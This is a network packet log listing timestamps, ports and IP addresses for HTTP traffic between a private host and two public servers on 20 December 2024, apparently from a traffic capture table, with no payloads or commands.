Dec 20, 2024 07:12:46.791923046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.792046070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.792047024 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.792977095 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.793003082 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.793127060 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.793539047 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.794013977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.794116020 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.794131041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.794200897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.795039892 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.795151949 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.795180082 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.795358896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.796082020 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.796154022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.796194077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.796257973 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.797122955 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.797198057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.797234058 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.797281981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.798150063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.798214912 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.798264027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.798336029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.799209118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.799308062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.799346924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.799417973 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.800254107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.800321102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.800399065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.800560951 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.801356077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.801454067 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.801486015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.801564932 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.802341938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.802398920 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.802442074 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.802525997 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.803687096 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.803740978 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.803775072 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.803827047 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.804414034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.804486990 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.804538012 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.804606915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.805474043 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.805537939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.805600882 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.805670977 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.806469917 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.806523085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.806555986 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.806691885 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.807524920 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.807667971 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.807686090 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.807805061 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.808554888 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.808623075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.808656931 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.808768988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.809608936 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.809686899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.809720993 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.809789896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.810619116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.810688019 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.810746908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.810820103 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.811669111 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.811752081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.811785936 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.811888933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.812705040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.812804937 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.812825918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.812864065 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.813721895 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.813853979 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.814774036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.814912081 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.814944029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.815808058 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.815850973 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.815884113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.815918922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.816266060 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.816850901 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.817455053 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.917932987 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.918028116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.918101072 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.918489933 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.918631077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.918838024 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.919446945 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.919584036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.920485020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.920588017 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.920620918 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.921482086 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.921538115 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.921616077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.922120094 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.922575951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.922709942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.922833920 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.923546076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.923662901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.923902035 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.924545050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.924669981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.924725056 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.925574064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.925734997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.925885916 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.926599026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.926709890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.927622080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.927654028 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.927730083 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.928637981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.928673029 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.928719044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.929322004 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.929647923 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.929769993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.930097103 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.930679083 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.930804968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.931695938 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.931730032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.931807995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.932715893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.932749987 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.932840109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.933027029 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.933729887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.933784008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.934776068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.934870958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.935796022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.935825109 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.935866117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.936147928 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.936789036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.936882973 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.937125921 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.937828064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.937925100 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.938086987 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.938849926 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.939097881 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.939863920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.939897060 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.939958096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.940887928 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.940907955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.940977097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.941368103 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.941893101 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.942003965 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.942075014 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.942915916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.943030119 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.943182945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.943948984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.944057941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.944113970 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.944957018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.945116997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.945199966 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.945970058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.946125984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.946300030 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.947004080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.947161913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.947213888 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.948026896 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.948060036 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.948147058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.948309898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.949042082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.949183941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.949292898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.950058937 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.950196981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.950578928 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.951102018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.951232910 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.951289892 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.952112913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.952236891 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.953124046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.953227043 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.953258038 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.953672886 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.954154968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.954279900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.954344034 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.954716921 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.954786062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.954790115 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.954900980 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.955162048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.955218077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.955255032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.955290079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.955296993 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.955300093 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.955431938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.956181049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.956267118 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.956300974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.956316948 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.956336021 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.956368923 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.956485987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.957199097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.957314968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.957350016 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.957381010 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.957385063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.957432985 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.958224058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.958348989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.958384037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.958419085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.958447933 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.958451033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.958462954 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.959230900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.959400892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.959434986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.959466934 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.959470987 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.959503889 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.959553003 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.960273027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.960385084 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.960437059 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.960455894 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.960469961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.960500002 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.960521936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.961280107 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.961395979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.961505890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.961539984 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.961541891 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.961574078 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.961652040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.962330103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.962460041 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.962512970 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.962548018 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.962605000 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.962608099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.963330984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.963439941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.963560104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.963594913 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.963649988 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.963651896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.964384079 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.964487076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.964574099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.964607954 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.964608908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.964639902 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.964668036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.965362072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.965507984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.965615034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.965619087 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.965648890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.965682983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.965749979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.966392040 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.966514111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.966617107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.966625929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.966695070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.966734886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.966790915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.967391968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.967412949 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.967521906 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.967654943 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.967756033 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.967806101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.967808962 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.968425035 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.968547106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.968679905 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.968732119 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.968734026 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.968794107 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.968884945 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.969434023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.969626904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.969742060 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.969804049 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.969805956 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.969842911 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.970104933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.970455885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.970577002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.970746040 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.970850945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.970853090 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.970894098 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.971288919 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.971432924 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.971822977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.971873999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.971908092 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.972856998 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.972991943 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.973026037 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.973901033 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.973937988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.973978996 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.974020004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.974076033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.974941015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.975028038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.975063086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.975413084 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.975970984 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.976061106 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.976104021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.976104021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.977003098 CET	80	49867	31.41.244.11	192.168.2.4
